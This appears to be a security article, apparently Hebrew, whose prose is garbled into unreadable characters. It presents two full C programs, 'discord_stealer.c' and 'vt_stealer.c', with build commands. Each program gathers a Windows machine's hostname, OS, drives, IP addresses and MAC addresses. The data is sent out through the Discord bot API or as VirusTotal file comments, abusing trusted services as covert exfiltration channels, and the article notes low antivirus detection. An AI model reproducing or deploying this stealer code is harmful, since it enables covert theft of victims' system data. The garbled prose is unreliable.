˫˧˰˧˧˯ˬ ˶ˣ˲˧˷˟ ˸˧˧ˣˣ˥ ˷ˬ˸˷ˬˢ ˢ˪˵ˢˣ ˪˰ ˪ˣˢ˧ˮ ˫˧˸˶˷ˢ Σ˫˧˵˲ˣ˯ˬˣ ˨˶ˡ˟ ˪˪˩ ˨˶ˡ ˧˵˷ˬˬ ˸ˣˮ˩˸ 

(APIs) ˫˧˶˷˲˞ˬ˷ ˫˧˥˸˲ˬ˪ ˶ˣ˴˧˪ ˫˧˞˸ˢ˪ˣ ˸˧˷˧˞ ˸˞ ˫˧˦ˣ˟ˢ ˫˧˩˶˴˪ ˫˧˧˲˧˴˲˯ˢ ˪˷ ˪˩ ˸˶˷. 

ˣ˞ˣ˟ ˶ˣ˴˧ˮ ˦ˣ˟ 

˪˧˟˷˟ ˶ˣ˴˧˪ ˦ˣ˟ Σ˷˧ ˯ˮ˩ˢ˪ ˸˟ˣ˸˩˪ ˢ˞˟ˢ ˶ˣ˴˧˪ˣ Application ˷ˡ˥Υ 

 

 

https://discord.com/developers/applications
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˸˰˩ ˷˧ ˳ˣ˥˪˪ ˪˰ ˢ˧˴˵˧˪˲˞ˢ ˫˸˶˴˧˷ Σ˫˷ˣ ˳ˣ˥˪˪ ˪˰ ˸ˣ˶˷˲˞ˢ ϦBotϦ ˦˧˶˲˸˟ ˧˪˞ˬ˷ˢ Φˡ˴ˬ ˭˧ˬ˧ ˷˧ 

˶˧ˡˠˢ˪ ˫˷ ˷ˬ˸˷ˬ ˦ˣ˟˪ Σ˳ˣ˥˪˪ ˪˰ RESET TOKEN ˪˰ ˸ˮˬ ˶˷˵˸˪ ˣ˸˧˞ ύˣ˪ˠ˸ ˨˷ˬˢ˟ Σό˸˸˪ˣ x˪ ˢ˷˧ˠ 

˪˷ AdministratorΥ 

 

˸˰˩ Σ˨˶˦˴ˮ ˸˸˪ ˞˷˶ˢ˸ˣ ˦ˣ˟˪ ˣˮ˪˷ Σ˫˧˷ˣ˰ ˸˞ ˢˤ ˸˟ˣ˸˩˟ ˸˞ˤˢ Υ 

https://discord.com/api/oauth2/authorize?client_id=ϑApplicationIDϒ&permissions=0&scope=bot 

˶˷˞˩ sπclient_id ˢˤ sApplication id- ˫˸˪˟˧˵˷ ˫˸˶˴˧˷˩ ˸˞ ˢ˧˴˵˧˪˲˞ˢΥ 

 

 

https://discord.com/api/oauth2/authorize?client_id=%7dApplicationID%7b&permissions=0&scope=bot
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ˣ˞ˣ˟ ˶ˣ˴˧ˮ ˸˶˷ ˨˶˦˴ˮ .˷ˡ˥ ˸˞ s id- ˪˷ ˦˞˴ˢ ˣ˟˷ ˨˶˦˴ˮ ˥ˣ˪˷˪ ˸˞ ˢ˰ˡˣˢˢΥ 

 

ˢ˪˪˞˧ ,˭ˬˤˢ ˡˡˣ˵˪ :˸˴˵ 

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <windows.h>  
#include <winhttp.h>  
#include <iphlpapi.h>  
 
#define DISCORD_BOT_TOKEN "REPLACE WITH THE BOT TOKEN" // Replace with your actual 
Discord bot token  
#define DISCORD_CHANNEL_ID "REPLACE WITH THE CHANNEL ID" // Replace with the Discord 
channel ID where you want to send the message  
 
/**  
 * Sends a message to a Dis cord channel using the Discord Bot API.  
 *  
 * @param message The message to be sent to the Discord channel.  
 * @return 0 on success, 1 on failure.  
 */  
int sendToDiscord ( const char * message) {  
    HINTERNET hSession = NULL;  
    HINTERNET hConnect = NULL;  
    HINTERNET hRequest = NULL;  
 
    // Open an HTTP session  
    hSession = WinHttpOpen( L"UserAgent" , WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);  
    if (hSession == NULL) {  
        fprintf (stderr, "WinHttpOpen failed. Error: %d\ n" , GetLastError ());  
        return 1;  
    }  
 
    // Connect to the Discord API server  
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    hConnect = WinHttpConnect (hSession, L"discord.com" , INTERNET_DEFAULT_HTTPS_PORT, 
0);  
    if (hConnect == NULL) {  
        fprintf (stderr, "WinHttpConnect failed. Error: %d\ n" , GetLastError ());  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Open a POST request to the Discord API endpoint for sending messages  
    hRequest = WinHttpOpenRequest (hConnect, L"POST", L"/api/v10/channels/" 
DISCORD_CHANNEL_ID "/messages" , NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 
WINHTTP_FLAG_SECURE); 
    if (hRequest == NULL) {  
        fprintf (stderr, "WinHttpOpenRequest failed. Error: %d\ n" , GetLastError ());  
        WinHttpCloseHandle (hConnect);  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Set the request headers including Authorization and Content - Type 
    if (! WinHttpAddRequestHeaders (hRequest, L"Authorization: Bot " DISCORD_BOT_TOKEN 
" \ r \ nContent - Type: application/json \ r \ n" , - 1, WINHTTP_ADDREQ_FLAG_ADD)) { 
        fprintf (stderr, "WinHttpAddRequestHeaders failed. Error: %d\ n" , 
GetLastError ());  
        WinHttpCloseHandle (hRequest);  
        WinHttpCloseHandle (hConnect);  
        WinHttpCloseHa ndle (hSession);  
        return 1;  
    }  
 
    // Construct the JSON payload for the message  
    char json_body[ 1024];  
    snprintf (json_body, sizeof (json_body), "{ \ " content \ " : \ "%s\ " }" , message);  
 
    // Send the request with the JSON payload  
    if (! WinHttpSendRequest (hRequest, NULL, - 1, ( LPVOID)json_body, strlen (json_body), 
strlen (json_body), 0)) {  
        fprintf (stderr, "WinHttpSendRequest failed. Error: %d\ n" , GetLastError ());  
        WinHttpCloseHandle (hRequest);  
        WinHttpCloseHandle (hConnect);  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Receive the response from the Discord API  
    BOOL hResponse = WinHttpReceiveResponse (hRequest, NULL);  
    if (!hResponse) {  
        fprintf (stderr, "WinHttpReceiveResponse failed. Error: %d\ n" , GetLastError ());  
    }  
 
    // Check the HTTP status code of the response  
    DWORD code = 0;  
    DWORD codeS = sizeof (code);  
    if ( WinHttpQueryHeaders (hRequest, WINHTTP_QUERY_STATUS_CODE | 
WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, 
WINHTTP_NO_HEADER_INDEX)) { 
        if (code == 200) {  
            printf ( "Message sent successfully to Discord. \ n" );  
        } else {  
            printf ( "Failed to send message to Discord. HTTP status code: %d\ n" , code);  
        }  
    } else {  
        DWORD error = GetLastError ();  
        LPSTR buffer = NULL;  
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        FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | 
FORMAT_MESSAGE_IGNORE_INSERTS, 
                       NULL, error, 0, ( LPSTR)&buffer, 0, NULL);  
        printf ( "Unknown error: %s\ n" , buffer);  
        LocalFree (buffer);  
    }  
 
    // Clean up handles  
    WinHttpCloseHandle (hConnect);  
    WinHttpCloseHandle (hRequest);  
    WinHttpCloseHandle (hSession);  
 
    return 0;  
}  
 
/**  
 * Main function that tests sending a message to Discord and sends system information.  
 */  
int main( int argc, char * argv[]) {  
    // Test message  
    const char * test_message = "a4ng is the best character" ;  
    sendToDiscord (test_message);  
 
    char systemInfo[ 4096];  
 
    // Get host name  
    CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];  
    DWORD size = sizeof (hostName) / sizeof (hostName[ 0]);  
    GetComputerNameA(hostName, &size);  
 
    // Get OS version  
    OSVERSIONINFO osVersion; 
    osVersion.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 
    GetVersionEx (&osVersion);  
 
    // Get system information  
    SYSTEM_INFO sysInfo;  
    GetSystemInfo (&sysInfo);  
 
    // Get  logical drive information  
    DWORD drives = GetLogicalDrives ();  
 
    // Get IP address information  
    IP_ADAPTER_INFO adapterInfo[ 16];  // Assuming there are no more than 16 adapters  
    DWORD adapterInfoSize = sizeof (adapterInfo);  
    if ( GetAdaptersInfo (adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {  
        printf ( "GetAdaptersInfo failed. Error: %d\ n" , GetLastError ());  
        return 1;  
    }  
 
    // Construct system information string  
    snprintf (systemInfo, sizeof (systemInfo),  
        "Host Name: %s, "  
        "OS Version: %d. %d. %d, "  
        "Processor Architecture: %d, "  
        "Number of Processors: %d, "  
        "Logical Drives: %X, " ,  
        hostName,  
        osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.d wBuildNumber,  
        sysInfo.wProcessorArchitecture,  
        sysInfo.dwNumberOfProcessors,  
        drives);  
 
    // Add IP address information  
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    for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter -
>Next) {  
        snprintf (systemInfo + strlen (systemInfo), sizeof (systemInfo) -  
strlen (systemInfo),  
        "Adapter Name: %s, "  
        "IP Address: %s, "  
        "Subnet Mask: %s, "  
        "MAC Address: %02X- %02X- %02X- %02X- %02X- %02X" ,  
        adapter - >AdapterName,  
        adapter - >IpAddressList.IpAddress.String,  
        adapter - >IpAddressList.IpMask.String,  
        adapter - >Address[ 0], adapter - >Address[ 1], adapter - >Address[ 2],  
        adapter - >Address[ 3], adapter - >Address[ 4], adapter - >Address[ 5]);  
    }  
 
    // Send  system information to Discord  
    sendToDiscord (systemInfo);  
    return 0;  
}  

 

˭˟ˣˬ˩ˣ ˶˧˟˯ˮ˷Φ ˡˣ˵ˢ ˵˪˥ˬ ˸˞ ˸ˣ˪ˣ˰˲ˢ ˧˸˷˪ ˸ˣ˧˴˵ˮˣ˲  ˸ˣ˧˶˵˧˰ sendToDiscord xπmainΥ 

¶ ˸˧˧˴˵ˮˣ˲ :sendToDiscord ˸˥˸ˣ˲ ˶ˣ˟˧˥ ˸˶˷˪ Discord ˸ˣ˰˴ˬ˞˟ WinHTTP ˢ˶˧ˡˠˬ ˸˞ ˸ˣ˶˸ˣ˩ˢ 

˱ˣˠˢˣ ˪˷ ˢ˷˵˟ˢ ˦ˬ˶ˣ˲˟ JSON ˸˥˪ˣ˷ˣ ˢ˰ˡˣˢ ˳ˣ˶˰˪ ˟π.Discord-˞˧ˢ ˸˵ˡˣ˟ ˸˞ ˢ˟ˣˠ˸ˢ ˸˶˷ˢˬ 

ˢ˯˧˲ˡˬˣ ˸ˣ˰ˡˣˢ ˢ˞˧ˠ˷ ˸ˡ˧ˬ˟ ˨˶ˣ˴ˢ. 

¶ ˸˧˧˴˵ˮˣ˲ main Υ˸˥˪ˣ˷ ˸˰ˡˣˢ ˢ˵˧ˡ˟ ˪πDiscordΣ ˸˲˯ˣ˞ ˰ˡ˧ˬ ˪˰ ˟˷˥ˬˢ ύ˭ˣˠ˩ ˫˷ ˟˷˥ˬ Σ˸˯˶ˠ 

˸˩˶˰ˬ ˢ˪˰˲ˢ Σ˧˦˶˲ ˸˩˶˰ˬ Σ˰ˡ˧ˬˣ ˪˰ ˧ˬ˞˸ˬ ˸˷˶ Σό˸˶˴ˣ˧ˣ ˸ˤˣ˶˥ˬ ˫˰ ˪˩ ˰ˡ˧ˬˢ Φ˶˥˞˪ ˭˩ˬ Σ

˸˥˪ˣ˷ ˸˞ ˰ˡ˧ˬˢ ˪˰ ˟˷˥ˬˢ ˪πDiscord ˸ˣ˰˴ˬ˞˟ ˸˧˧˴˵ˮˣ˲ sendToDiscordΦ 

˸˞ ˦ˣ˶˧˲ˢ ˪˷ ˶˞˷ ˢ˵˧ˠˣ˪ˢ ˶˷˲˞ ˞ˣ˴ˬ˪ ˨˶ˡ˟ ˢ˪ˣ˰˲ˢ  ˪˷˦ˣ˟ˢ  ˣˮ˟˸˩˷˫˶ˠ˪˦˪. 

˪˲ˬ˵ˮΥ 

x86_64- w64- mingw32- g++ - O2 discord_stealer.c - o discord_stealer.exe - I /usr/share/mingw -
w64/include/ - s - ffunction - sections - fdata - sections - Wno- write - strings - fno - exceptions 
- fmerge - all - constants - static - libstdc ++ - static - libgcc - fpermissive - liphlpapi -
lwinhttp  

˫ˠˣ ˢ˲ Σ˵˧˸˰ˮ ˸˞ ˳˟ˣ˵ˢ exe ˸ˮˣ˩ˬ˪ sπWindows ˳˧˶ˮˣΥ 
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˵ˣˡ˟ˮ ˟πWiresharkΥ 

 

ˢ˟ ˧˷ˬ˸˷ˢ˶˦˪˧˲ Ϧtcp.port == 443Ϧ ˭ˣˣ˧˩ˬ ˣˮ˞˷ ˣˮ˷ˬ˸˷ˢ ˟πINTERNET_DEFAULT_HTTPS_PORT Σ

˞ˣˢ˷ ппо Σ˷ˬ˸˷ˮ ˟πwhois ˧ˡ˩ ˭˧˟ˢ˪ ˧ˬ ˸˞ˤ ˸˟ˣ˸˩ˢ ˸˶ˣ˟˧˴ˢ 162.159.138.232Υ 

 

˧˲˪ ˦ˮ˶˦ˮ˧˞ˢ π ."By default, the DNS over Discord bot uses Cloudflare's 1.1. 1.1 DNS service" ˤ˞ 

˧ˮ˞ ˥˧ˮˬ ˸˟ˣ˸˩ˢ˷ ˣˤˢ ˞˧ˢ ˪˷ Discord API Φ˨˧˷ˬˮ ˸˵˧ˡ˟˪ WebsecΥ 

 

˟ˣ˷ ˵˶ о ˨ˣ˸ˬ оф ΣΗˢ˲˧ ˡˣ˞ˬ Η˨˧˷ˬˮ ˢˬˠˣˡ˪ ˢˮˣ˶˥˞ˢ π ˧˸˰ˡ˪ˣ ˸˧ˮˣ˶˧˞ˢ ˶˸ˣ˧˟ ΥVirus Total J 

https://websec.nl/en/scanner/result/5a0f36ac-8fc0-46e3-bc87-1742eb964595
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ˤ˞ ˨˧˞ ˫˧˟ˮˣˠ ˰ˡ˧ˬ ˫˰ Virus Total Comments?  

Virus Total 

˪˰ Virus Total ˧˸˶˟˯ˢ ˧˪˷ ˫ˡˣ˵ˢ ˶ˬ˞ˬ˟ Φ˪˟˞ ˫˧ˮ˪˴˰˪ ˫˩˧ˮ˧˟˷ ,ˢˮ˧ˢ: VirusTotal ˞ˣˢ ˧˪˩ ˭ˣˣ˵ˬ 

˶˷˲˞ˬˢ ˫˧˷ˬ˸˷ˬ˪ ˭ˣ˰˦˪ ˫˧˴˟˵ ˰˴˟˪ˣ ˸ˣ˵˧˶˯ ˸˶˦ˬ˪ ˧ˣ˪˧ˠ ˸ˣˮ˩ˣ˸ ˸ˣ˧ˮˣˡˤ ˭˩ˣ˸ˣ ˵˧ˤˬ ˶˥˞ Φ˸ˣ˶˧˷ˢ 

˷ˬ˸˷ˬ ˧˰ˣˮˬ˟ ˧˦ˮ˞π˯ˣ˶˧ˣ ˫˧˟˶ ˧ˡ˩ ˥˸ˮ˪ ˸˞ ˫˧˴˟˵ˢ Σ˨˩˟ˣ ˵˲˯ˬ ˢˮˣˬ˸ ˢ˟˥˶ ˸˵˧ˣˡˬˣ ˪˷ ˫˞ ˳˟ˣ˵ˢ 

˪˧˩ˬ ˫˧ˬˣ˧˞ ˫˧˧˪˞˧˴ˮ˦ˣ˲ ΦVirusTotal ˵˲˯ˬ ˫ˠ ˧˪˩ ˥ˣ˸˧ˮ˪ ˸ˣ˟ˣ˸˩ URL Σ˸˧˧˶ˣ˦˯˧ˢ ˫˧ˮ˧˧ˬˣˡ Σ˰ˡ˧ˬˣ ˱˯ˣˮ 

˪˰ ˫˧ˬˣ˧˞ ˦ˮ˶˦ˮ˧˞˟ Σˢˬ ˶˷˲˞ˬ˷ ˫˧˷ˬ˸˷ˬ˪ ˨˧˶˰ˢ˪ ˸˞ ˭ˣ˩˧˯ˢ ˦ˣ˵ˮ˪ˣ ˫˧ˡ˰˴˟ ˫˧ˬ˧˞˸ˬˢ ˭ˠˢ˪ ˪˰ 

˸ˣ˩˶˰ˬˢ ˫ˢ˪˷ Φ 

ˤ˞ ˢˬ ˭˧˧ˮ˰ˬ˷ Σˢˤ ˧˲˪˷ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˶˷˲˞ ˱˧˯ˣˢ˪ comments ˳˟ˣ˵˪ !˫˧˪˰ˬ ˣ˸ˣ˞˷ 

 

˶ˬˣ˪˩ Σ˸ˣ˰˴ˬ˞˟ ˸˷˵˟ Post Σˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˫˯˶˲˪ ˸ˣ˟ˣˠ˸ ˪˰ ˳˟ˣ˵ ˫˧ˣ˯ˬ ˣˮ˧˪˰ˢ˷ ˶˸˞˪ Φ˪˧˟˷˟ ˢˤ Σ

ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ID ˪˷ ˳˟ˣ˵ˢ ύ˨˶ˡ˟ ˪˪˩ ˞ˣˢ ˢ˧ˢ˧ hash ˪˷ SHA-1 ΣSHA-256 x˞ MD5 ΣόπxVT API KEY ˧ˡ˩ 

˸˷ˠ˪ ˪πAPI ˪˷ Virus Total Φ 

  

https://www.digitalwhisper.co.il/files/Zines/0x96/DW150-4-WinAPI-Hashing.pdf
https://docs.virustotal.com/reference/overview
https://docs.virustotal.com/reference/files-comments-post
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 ˭ˣ˷˞˶ˢ ˫˰ ˪˧˥˸ˮ ˣ˞ˣ˟- ˪ ˯ˮ˩˧ˮ-Virus Total.  ˪˟˵˪ ˧ˡ˩VT API KEY ˸˞ ˪˟˵˪ˣ ˭ˣ˟˷˥ ˶ˣ˴˧˪ ˨˶˦˴ˮ ,

˥˸˲ˬˢ: 

 

ˢ˪ˣ˰ˬ ,:ˡˣ˵˪ ˭ˬˤˢ ˰˧ˠˢ 

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
 
#include <windows.h>  
#include <winhttp.h>  
#include <iphlpapi.h>  
 
#define VT_API_KEY "REPLACE WITH YOUR API KEY" // Replace with your actual VirusTotal API key  
#define FILE_ID "REPLACE WITH YOUR FILE ID"    // Replace with the file ID you want to comment on  
 
/**  
 * Sends a comment to VirusTotal for a specific file.  
 *  
 * @param comment The comment to be posted.  
 * @ret urn 0 on success, 1 on failure.  
 */  
int sendToVT( const char * comment) {  
    HINTERNET hSession = NULL;  
    HINTERNET hConnect = NULL;  
    HINTERNET hRequest = NULL;  
 
    // Initialize a session handle  
    hSession = WinHttpOpen( L"UserAgent" , WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, 
WINHTTP_NO_PROXY_BYPASS, 0);  
    if (hSession == NULL) {  
        fprintf (stderr, "WinHttpOpen. Error: %d has occurred. \ n" , GetLastError ());  
        return 1;  
    }  
 
    // Connect to VirusTotal server  
    hConnect = WinHttpConnect (hSession, L"www.virustotal.com" , INTERNET_DEFAULT_HTTPS_PORT, 0);  
    if (hConnect == NULL) {  
        fprintf (stderr, "WinHttpConnect. Error: %d has occurred. \ n" , GetLastError ());  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Open a request handle for the API endpoint  
    hRequest = WinHttpOpenRequest (hConnect, L"POST", L"/api/v3/files/" FILE_ID "/comments" , NULL, 
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); 
    if (hRequest == NULL) {  
        fprintf (stderr, "WinHttpOpenRequest. Error: %d has occurred. \ n" , GetLastError ());  
        WinHttpCloseHandle (hConnect);  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Construct the JSON payload for the comment 
    char json_body[ 1024];  
    snprintf (json_body, sizeof (json_body), "{ \ " data \ " : { \ " type \ " : \ " comment\ " , \ " attributes \ " : 
{ \ " text \ " : \ "%s\ " }}}" , comment);  
 

https://www.virustotal.com/gui/home/upload
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    // Set the request headers and send the request  
    if (! WinHttpSendRequest (hRequest, L"x - apikey: " VT_API_KEY " \ r \ nUser- Agent: vt 
v.1.0 \ r \ nAccept - Encoding: gzip, deflate \ r \ nContent - Type: application/json" , - 1, ( LPVOID)json_body, 
strlen (json_body), strlen (json_body), 0)) {  
        fprintf (stderr, "WinHttpSendRequest. Error %d has occurred. \ n" , GetLastError ());  
        WinHttpCloseHandle (hRequest);  
        WinHttpCloseHandle (hConnect);  
        WinHttpCloseHandle (hSession);  
        return 1;  
    }  
 
    // Receive the response from the server  
    BOOL hResponse = WinHttpReceiveResponse (hRequest, NULL);  
    if (!hResponse) {  
        fprintf (stderr, "WinHttpReceiveResponse. Error %d has occurred. \ n" , GetLastError ());  
    }  
 
    // Check the HTTP status code of the response  
    DWORD code = 0;  
    DWORD codeS = sizeof (code);  
    if ( WinHttpQueryHeaders (hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, 
WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) { 
        if (code == 200) {  
            printf ( "Comment posted successfully. \ n" );  
        } else {  
            printf ( "Failed to post comment. HTTP Status Code: %d\ n" , code);  
        }  
    } else {  
        DWORD error = GetLastError ();  
        LPSTR buffer = NULL;  
        FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | 
FORMAT_MESSAGE_IGNORE_INSERTS, 
                       NULL, error, 0, ( LPSTR)&buffer, 0, NULL);  
        printf ( "Unknown error: %s\ n" , buffer);  
        LocalFree (buffer);  
    }  
 
    // Clean up handles  
    WinHttpCloseHandle (hConnect);  
    WinHttpCloseHandle (hRequest);  
    WinHttpCloseHandle (hSession);  
 
    printf ( "Successfully sent info via VT API :) \ n" );  
    return 0;  
}  
 
/**  
 * Main function to collect system information and send it as a comment to VirusTotal.  
 */  
int main( int argc, char * argv[]) {  
    char systemInfo[ 4096];  
 
    // Collect system information  
    CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];  
    DWORD size = sizeof (hostName) / sizeof (hostName[ 0]);  
    GetComputerNameA(hostName, &size);  
 
    OSVERSIONINFO osVersion; 
    osVersion.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); 
    GetVersionEx (&osVersion);  
 
    SYSTEM_INFO sysInfo;  
    GetSystemInfo (&sysInfo);  
 
    DWORD drives = GetLogicalDrives ();  
 
    IP_ADAPTER_INFO adapterInfo[ 16];  
    DWORD adapterInfoSize = sizeof (adapterInfo);  
    if ( GetAdaptersInfo (adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {  
        printf ( "GetAdaptersInfo failed. Error: %d has occurred. \ n" , GetLastError ());  
        return 1;  
    }  
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    snprintf (systemInfo, sizeof (systemInfo),  
        "Host Name: %s, "  
        "OS Version: %d. %d. %d, "  
        "Processor Architecture: %d, "  
        "Number of Processors: %d, "  
        "Logical Drives: %X, " ,  
        hostName, 
        osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,  
        sysInfo.wProcessorArchitecture,  
        sysInfo.dwNumberOfProcessors,  
        drives);  
 
    // Append IP address information  
    for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter - >Next) {  
        snprintf (systemInfo + strlen (systemInfo), sizeof (systemInfo) -  strlen (systemInfo),  
            "Adapter Name: %s, "  
            "IP Address: %s, "  
            "Subnet Mask: %s, "  
            "MAC Address: %02X- %02X- %02X- %02X- %02X- %02X" ,  
            adapter - >AdapterName,  
            adapter - >IpAddressList.IpAddress.String,  
            adapter - >IpAddressList.IpMask.String,  
            adapter - >Address[ 0], adapter - >Address[ 1], adapter - >Address[ 2],  
            adapter - >Address[ 3], adapter - >Address[ 4], adapter - >Address[ 5]);  
    }  
 
    // Send the collected system information as a comment to VirusTotal  
    int result = sendToVT(systemInfo);  
 
    if (result == 0) {  
        printf ( "ok =^..^= \ n" );  
    } else {  
        printf ( "nok <3()~ \ n" );  
    }  
 
    return 0;  
}  

 

˶˧˟˯ˮ ύ˷˧ ˶ˣ˩ˤ˪ ˞ˣˢ˷ ˢˬˣˡ ˸ˣ˞ˬˠˣˡ˪ ˸ˣˬˡˣ˵ˢ(: 

¶ ˸˲˯ˣˢ ˫˧˴˟˵: ˪˪ˣ˩ ˸ˣ˶˸ˣ˩ ˸ˣ˷ˣ˶ˡ ˶ˣ˟˰ ˸ˣ˧˴˵ˮˣ˲ API ˪˷ Windows ˸˷˶ˣ. 

¶ ˸˶ˡˠˢ ˫˧˰ˣ˟˵ :˶˧ˡˠˬ ˸˞ VT_API_KEY ˣFILE_ID- ˨˶ˣ˴˪ ˢ˷˧ˠ ˪πAPI ˪˷ Virus TotalΦ 

˸˧˧˴˵ˮˣ˲ sendToVTΥ 

¶ ˪ˣ˥˸˞ ˶ˣ˟˧˥: ˸˥˸ˣ˲ ˭˷˯ ˸˶˟˥˸ˬˣ ˪πVirusTotal Φ 

¶ ˸˶˧˴˧ ˢ˷˵˟ :ˢˮ˧˩ˬ ˸˷˵˟ HTTP ˠˣ˯ˬ POST ˸˟ˣ˸˩˪ /commentsΦ 

¶ ˸ˮ˩ˢPayload  Υ˸˟˴˰ˬ ˸˞ ˢ˟ˣˠ˸ˢ ˱ˣˠ˩ JSONΦ 

¶ ˸˥˧˪˷ ˢ˷˵˟: ˸˥˪ˣ˷ ˸˞ ˢ˷˵˟ˢ ˫˰ ˸ˣ˶˸ˣ˩ ˸ˣˬ˧˞˸ˬ. 

¶ ˪ˣ˲˧˦ ˢ˟ˣˠ˸˟ :˸˵ˡˣ˟ ˫˞ ˢ˟ˣˠ˸ˢ ˢ˥˪˷ˮ ˢ˥˪˴ˢ˟ ˢ˯˧˲ˡˬˣ ˸˞ ˟˴ˬˢ. 

¶ ˧ˣ˵˧ˮ: ˸˶ˠˣ˯ ˸˞ ˫˧˶ˣ˟˧˥ˢ ˶ˣ˶˥˷˪ ˫˧˟˞˷ˬˢ. 

˸˧˧˴˵ˮˣ˲ mainΥ 

¶ ˱ˣ˯˧˞ ˰ˡ˧ˬ ˪˰ ˸˩˶˰ˬˢ :˸˲˯ˣ˞ ˰ˡ˧ˬ ˪˰ ˫˷ ˟˷˥ˬˢ Σ˸˯˶ˠ sπOSΣ ˰ˡ˧ˬ ˸˩˶˰ˬ Σ˫˧ˮˮˣ˩ ˫˧˧ˠˣ˪ 

˧˦˶˲ˣ IPΦ 
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¶ ˟ˣ˴˧˰ ˰ˡ˧ˬˢ: ˸˶˴ˣ˧ ˸ˤˣ˶˥ˬ ˫˰ ˰ˡ˧ˬˢ ˱˯˞ˮ˷. 

¶ ˸˥˧˪˷ ˫˧ˮˣ˸ˮ: ˸˞˶ˣ˵ ˢ˧˴˵ˮˣ˲˪sendToVT  ˥ˣ˪˷˪ ˸˞ ˰ˡ˧ˬˢ ˢ˟ˣˠ˸˩ ˪πVirusTotalΦ 

¶ ˸˯˲ˡˢ ˢ˞˴ˣ˸ :˸ˮ˧˧˴ˬ ˫˞ ˢ˪ˣ˰˲ˢ ˢ˥˧˪˴ˢ x˞ ˞˪. 

˪˧ˠ˶˩ Σ˪˲ˬ˵ˮΥ 

x86_64- w64- mingw32- g++ - O2 vt_stealer.c - o vt_stealer.exe - I /usr/share/mingw -
w64/include/ - s - ffunction - sections - fdata - sections - Wno- write - strings - fno - exceptions 
- fmerge - all - constants - static - libstdc ++ - static - libgcc - fpermissive - liphlpapi -
lwinhttp  

˵˧˸˰ˮ ˸˞ ˳˟ˣ˵ˢ ˶˴ˣˮ˷ ˪πWindows Σ˳˧˶ˮΥ 

 

˨˩ ˞˶ˮ˧˸ ˟ ˢ˞˴ˣ˸ˢ-VT )˶ˣ˷˧˵:( 

 

˧ˮˣ˶˧˞ ˸˴˵ Σ?˞˪ ˣˮ˥ˮ˞ ˣˮ˟˸˩ ˠˣ˯ ˪˷ ˯ˣ˶˧ˣ ˷ˬ˸˷ˬ˷ ˶˸˞˟ ˞˴ˣˬ˷ ˧˦ˮ˞ ˫˧˯ˣ˶˧ˣ J Φˢ˯ˮˮ ˞ˣ˴ˬ˪ ˸˞ 

˸˟ˣ˸˩ˢ ˪˷ ˡ˥˞ ˫˧˶˟˶˯ˢ ˸ˣ˰˴ˬ˞˟ Wireshark Φ˷ˬ˸˷ˮ ˣ˸ˣ˞˟ ˶˦˪˧˲ ύtcp.port == 443ό: 

 

https://www.virustotal.com/gui/file/9e0463ceea4b2800db7ba89b57b51680fdca6e060b3aee55b6a3ee4c98bec0c2/community
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ˣˮ˥ˮ˞ x˥˷l˫˧ ˸˟ˣ˸˩˟ ˸ˬ˧ˣ˯ˬ ˸˥˪ˣ˷˷ ˣˮ˪ ˰ˡ˧ˬ Σˣ˞ˣ˟ ˵ˣˡ˟ˮ ˢ˸ˣ˞ ˫˰˲ˢ ˸ˣ˰˴ˬ˞˟ ˰ˣˮˬ ˷ˣ˲˧˥ˢ ˪˷ 

Virus Total ύaddress/74.125.34.46-https://www.virustotal.com/gui/ipΥό 

 

 ˭˩˞ˮ˵ˡ˴,ˣ ˢˤ ˡ˥˞ ˫˧˸˶˷ˢ ˪˷ Virus Total Φˣ˞ˣ˟ ˵ˣˡ˟ˮ ˫˰˲ ˢˮˣ˶˥˞ ˫˰˲ˢ ˸ˣ˰˴ˬ˞˟ Virus Total ˫˞ˢ 

ˡˣ˵ˢ ˣˮ˟˸˩˷ ˞ˣˢ ˧ˮˣˡˤ ˧˲ˣ˞ ˪˰˟ ˧˲˪ VT )˶ˣ˷˧˵ ˸˞˴ˣ˸˪ ˢ˵˧˶˯ˢ:( 

 

˵˶ р ˨ˣ˸ˬ тп ˫˧˰ˣˮˬΗ J 

  

https://www.virustotal.com/gui/ip-address/74.125.34.46
https://www.virustotal.com/gui/file/717ac479324f962c63611b6a7071f650e9cbe2faee04f912b8a93da9ef8fdc62?nocache=1
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˫ˣ˩˧˯ 

